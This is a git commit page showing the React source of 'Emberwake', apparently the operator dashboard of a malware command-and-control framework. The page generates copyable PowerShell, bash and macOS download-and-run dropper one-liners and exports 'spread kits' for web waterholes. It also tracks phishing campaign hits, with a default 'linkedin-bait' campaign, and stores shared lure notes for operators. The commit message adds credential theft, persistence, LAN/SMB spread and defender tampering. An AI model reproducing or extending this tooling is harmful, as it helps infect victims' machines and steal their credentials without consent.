feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
238
server/web/src/pages/EmberwakePage.tsx
Normal file
238
server/web/src/pages/EmberwakePage.tsx
Normal file
@@ -0,0 +1,238 @@
|
||||
import { useCallback, useEffect, useMemo, useState } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRecord, CampaignHitSummary, EmberwakeNotes, PublicBuildDTO } from '../types';
|
||||
import {
|
||||
combinedDropperQuery,
|
||||
commandOneliner,
|
||||
ps1Oneliner,
|
||||
publicDownloadUrl,
|
||||
shOneliner,
|
||||
} from '../help/emberwake';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import './Pages.css';
|
||||
import './EmberwakePage.css';
|
||||
|
||||
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
const [ok, setOk] = useState(false);
|
||||
const copy = () => {
|
||||
void navigator.clipboard.writeText(text).then(() => {
|
||||
setOk(true);
|
||||
setTimeout(() => setOk(false), 1500);
|
||||
});
|
||||
};
|
||||
return (
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
|
||||
{ok ? 'Copied' : label}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
export default function EmberwakePage() {
|
||||
const { latestMessage } = useWebSocket();
|
||||
const [builds, setBuilds] = useState<BuildRecord[]>([]);
|
||||
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
|
||||
const [serverBase, setServerBase] = useState('');
|
||||
const [campaign, setCampaign] = useState('linkedin-bait');
|
||||
const [pinA, setPinA] = useState('');
|
||||
const [pinB, setPinB] = useState('');
|
||||
const [notes, setNotes] = useState('');
|
||||
const [notesMeta, setNotesMeta] = useState('');
|
||||
const [campaigns, setCampaigns] = useState<CampaignHitSummary[]>([]);
|
||||
const [exportBusy, setExportBusy] = useState(false);
|
||||
const [notesBusy, setNotesBusy] = useState(false);
|
||||
|
||||
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
|
||||
const query = useMemo(() => combinedDropperQuery(pinA || pinned[0]?.id || '', campaign), [pinA, pinned, campaign]);
|
||||
const queryB = useMemo(() => combinedDropperQuery(pinB, campaign + '-b'), [pinB, campaign]);
|
||||
|
||||
const load = useCallback(async () => {
|
||||
const [b, info, cfg, pub, camp, n] = await Promise.all([
|
||||
api.listBuilds(),
|
||||
api.getServerInfo(),
|
||||
api.getConfig(),
|
||||
api.listPublicBuilds(),
|
||||
api.listCampaignHits(),
|
||||
api.getEmberwakeNotes(),
|
||||
]);
|
||||
setBuilds(b);
|
||||
const pubUrl = cfg.server?.public_url?.trim();
|
||||
setServerBase((pubUrl || info.suggested_url || window.location.origin).replace(/\/$/, ''));
|
||||
setPublicBuilds(pub.builds);
|
||||
setCampaigns(camp.campaigns);
|
||||
setNotes(n.content);
|
||||
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
|
||||
if (!pinA) {
|
||||
const p = b.find((x) => x.pinned);
|
||||
if (p) setPinA(p.id);
|
||||
}
|
||||
if (!pinB && b.length > 1) {
|
||||
const alt = b.find((x) => !x.pinned) ?? b[1];
|
||||
if (alt) setPinB(alt.id);
|
||||
}
|
||||
}, [pinA, pinB]);
|
||||
|
||||
useEffect(() => {
|
||||
void load().catch(() => {});
|
||||
}, [load]);
|
||||
|
||||
useEffect(() => {
|
||||
if (latestMessage?.type !== 'emberwake_notes_updated') return;
|
||||
const p = latestMessage.payload as EmberwakeNotes;
|
||||
if (p && typeof p.content === 'string') {
|
||||
setNotes(p.content);
|
||||
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
|
||||
}
|
||||
}, [latestMessage]);
|
||||
|
||||
const saveNotes = async () => {
|
||||
setNotesBusy(true);
|
||||
try {
|
||||
const n = await api.putEmberwakeNotes(notes);
|
||||
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
|
||||
} finally {
|
||||
setNotesBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
const exportKit = async () => {
|
||||
setExportBusy(true);
|
||||
try {
|
||||
await api.exportSpreadKit({
|
||||
build_id: pinA || pinned[0]?.id || '',
|
||||
server_url: serverBase,
|
||||
campaign,
|
||||
});
|
||||
} finally {
|
||||
setExportBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page emberwake-page">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">SPREAD · WATERHOLE · KINDLING</p>
|
||||
<h1>Emberwake</h1>
|
||||
<p className="page-subtitle">
|
||||
Carry embers from the forge — web waterholes, CMS uploads, curl|bash VPS drops, fusion media, USB, and LAN spread.
|
||||
</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div className="spread-section spread-section--ember">
|
||||
<h3>How to spread</h3>
|
||||
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem' }}>
|
||||
<li><strong>Web waterhole</strong> — export spread kit ZIP, upload to S3 / Cloudflare Pages / owned CMS.</li>
|
||||
<li><strong>curl | bash VPS</strong> — paste one-liners below on a headless server session.</li>
|
||||
<li><strong>Fusion media</strong> — forge Desktop Fusion profile, seed USB or shared folders.</li>
|
||||
<li><strong>LAN kindling</strong> — universal spread kit + autospread; deploy.bat on reachable hosts.</li>
|
||||
<li><strong>A/B droppers</strong> — pin build A vs B; rotate campaign links between waves.</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div className="card" style={{ marginBottom: '1rem' }}>
|
||||
<h2>Campaign builder</h2>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="ew-campaign">Campaign slug (?c=)</label>
|
||||
<input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
|
||||
</div>
|
||||
<div className="emberwake-ab-row" style={{ marginBottom: '0.75rem' }}>
|
||||
<label className="label">Build A (pin)</label>
|
||||
<select className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
|
||||
<option value="">Latest / pinned</option>
|
||||
{builds.map((b) => (
|
||||
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
|
||||
))}
|
||||
</select>
|
||||
<label className="label">Build B (A/B)</label>
|
||||
<select className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
|
||||
<option value="">—</option>
|
||||
{builds.map((b) => (
|
||||
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
<div className="emberwake-tool-grid">
|
||||
<div>
|
||||
<p className="form-hint">PowerShell</p>
|
||||
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{ps1Oneliner(serverBase, query)}</code>
|
||||
<CopyChip text={ps1Oneliner(serverBase, query)} label="Copy PS1" />
|
||||
</div>
|
||||
<div>
|
||||
<p className="form-hint">bash</p>
|
||||
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{shOneliner(serverBase, query)}</code>
|
||||
<CopyChip text={shOneliner(serverBase, query)} label="Copy sh" />
|
||||
</div>
|
||||
<div>
|
||||
<p className="form-hint">macOS</p>
|
||||
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{commandOneliner(serverBase, query)}</code>
|
||||
<CopyChip text={commandOneliner(serverBase, query)} label="Copy .command" />
|
||||
</div>
|
||||
</div>
|
||||
{pinB && (
|
||||
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
|
||||
A/B link B: <code>{serverBase}/get{queryB}</code>
|
||||
<CopyChip text={`${serverBase}/get${queryB}`} label="Copy B" />
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="spread-section spread-section--cyan">
|
||||
<h3>Spread kit export</h3>
|
||||
<p className="form-hint">Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.</p>
|
||||
<div className="emberwake-ab-row">
|
||||
<input className="input mono" style={{ flex: 1 }} value={serverBase} onChange={(e) => setServerBase(e.target.value)} />
|
||||
<button type="button" className="btn btn-primary" disabled={exportBusy || !serverBase} onClick={() => void exportKit()}>
|
||||
{exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="spread-section spread-section--gold">
|
||||
<h3>Public build URLs</h3>
|
||||
<p className="form-hint">Authenticated deck sees all builds; login page lists pinned + public + latest 3 (or all if Calibrate → public builds enabled).</p>
|
||||
<ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
|
||||
{(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
|
||||
<li key={b.id} style={{ marginBottom: '0.5rem', fontSize: '0.85rem' }}>
|
||||
<strong>{b.worker_name}</strong> ({b.platform})
|
||||
{' — '}
|
||||
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
|
||||
public download
|
||||
</a>
|
||||
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
{campaigns.length > 0 && (
|
||||
<div className="spread-section spread-section--violet">
|
||||
<h3>Campaign hits</h3>
|
||||
<ul className="emberwake-campaign-list">
|
||||
{campaigns.map((c) => (
|
||||
<li key={c.campaign}>
|
||||
<span><code>{c.campaign}</code></span>
|
||||
<span>{c.count} hits · {c.last_hit ? new Date(c.last_hit).toLocaleString() : '—'}</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="card">
|
||||
<h2>Shared notes</h2>
|
||||
<p className="form-hint">Synced live to every logged-in operator{notesMeta ? ` — last edit: ${notesMeta}` : ''}.</p>
|
||||
<textarea
|
||||
className="input emberwake-notes"
|
||||
rows={6}
|
||||
value={notes}
|
||||
onChange={(e) => setNotes(e.target.value)}
|
||||
placeholder="Paste lure copy, host paths, rotation schedule…"
|
||||
/>
|
||||
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
|
||||
{notesBusy ? 'Saving…' : 'Save notes'}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
Reference in New Issue
Block a user